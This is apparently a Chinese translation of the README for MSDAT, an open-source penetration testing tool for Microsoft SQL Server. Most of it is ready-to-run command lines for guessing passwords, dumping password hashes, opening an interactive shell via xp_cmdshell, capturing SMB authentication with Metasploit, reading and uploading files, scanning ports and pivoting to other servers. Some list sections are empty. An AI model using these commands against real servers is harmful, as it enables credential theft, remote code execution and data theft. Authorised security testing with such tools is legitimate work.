| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT(Microsoft SQL Database Attacking Tool)是一款开源渗透测试工具,用于远程测试 Microsoft SQL 数据库的安全性。
MSDAT 的使用场景示例:
已在 Microsoft SQL 数据库 2005、2008、2012、2014、2016 和 2019 上测试。
借助 MSDAT(Microsoft SQL Database Attacking Tool),你可以(非详尽列表):
需要安装一些依赖项才能运行 MSDAT。
在 Ubuntu 中:
sudo apt-get install freetds-dev
或从 http://www.freetds.org/ 下载 freetds
安装 Python 依赖项:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
或
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
在你的 freetds 配置文件中添加 "use ntlmv2 = yes"(例如 /etc/freetds/freetds.conf 或 /usr/local/etc/freetds.conf)。
示例:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
./msdat.py -h
./msdat.py all -h
你可以通过 --test-module 选项了解特定模块是否可用于 MSSQL 服务器。此选项已在每个 mdat 模块中实现。
all 模块允许你运行所有模块(取决于你提供的选项)。
python msdat.py all -s $SERVER
如果你想:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
在每个模块中,你可以使用 --charset 选项定义字符集。
在未认证的情况下获取远程 MSSQL 服务器的技术信息:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
此模块使用 TDS 协议和 SQL 浏览器服务器来获取信息。
此模块允许你搜索有效凭据:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
--force-retry 选项允许为每个用户测试多个密码而无需确认
你可以使用 --accounts-file 选项指定自己的帐户文件:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
转储哈希密码:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
此模块已在 SQL Server 2000、2005、2008 和 2014 上测试。
通过 xp_cmdshell(https://msdn.microsoft.com/en-us/library/ms190693.aspx)执行系统命令:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
上述命令将为你提供远程数据库服务器上的交互式 shell。
如果 xp_cmdshell 未启用,此模块中的 --enable-xpcmdshell 可用于激活它:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
--enable-xpcmdshell 选项启用 xp_cmdshell(如果未启用,默认情况下未启用)。
--disable-xpcmdshell 选项禁用 xp_cmdshell(如果已启用)。
通过此模块,你可以捕获 SMB 认证:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
要捕获 SMB 认证,可以使用 metasploit 的 auxiliary/server/capture/smb(http://www.rapid7.com/db/modules/auxiliary/server/capture/smb)模块:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
此模块的 capture 命令尝试通过 xp_dirtree、xp_fileexist 或 xp-getfiledetails 过程捕获 SMB 认证。
如果你想选择用于捕获认证的 SMB 认证过程:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
你可以使用 --share-name 选项更改共享名称。
此模块可用于在数据库服务器上读取/写入文件。
以下命令读取存储在数据库服务器中的文件 temp.txt:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
在远程文件(temp.txt)中写入一个字符串:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
此模块可用于下载存储在数据库服务器上的文件(C:\Users\Administrator\Desktop\temp.txt):
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
此外,你可以使用此模块将文件(temp.txt)上传到目标:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
bulkopen 模块可用于:
要读取目标中存储的文件,可以使用以下命令:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
--method 选项可用于指定要使用的方法:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
要下载文件(C:\Users\Administrator\Desktop\temp.txt):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
此模块可用于通过数据库服务器扫描端口(127.0.0.1 的 1433 和 1434):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
你可以扫描一个端口范围:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
此模块可用于在远程数据库服务器(例如 $SERVER2)上通过数据库($SERVER)执行 SQL 请求(例如 select @@ServerName):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
xpdirectory 模块可用于:
要列出特定目录中的文件:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
要列出特定目录中的子目录:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
要列出驱动器:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
要检查文件是否存在:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
要创建目录:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
search 模块可用于在表和视图的列名中搜索模式。例如,可用于搜索列名中的模式 %password%。
要获取包含密码模式(例如 passwd、password、motdepasse、clave)的列名:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
如果你想查看不包含数据的列名,应使用 --show-empty-columns 选项。
要在视图和表的列名中搜索特定模式:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
如果你希望通过捐赠支持我的工作,我将不胜感激: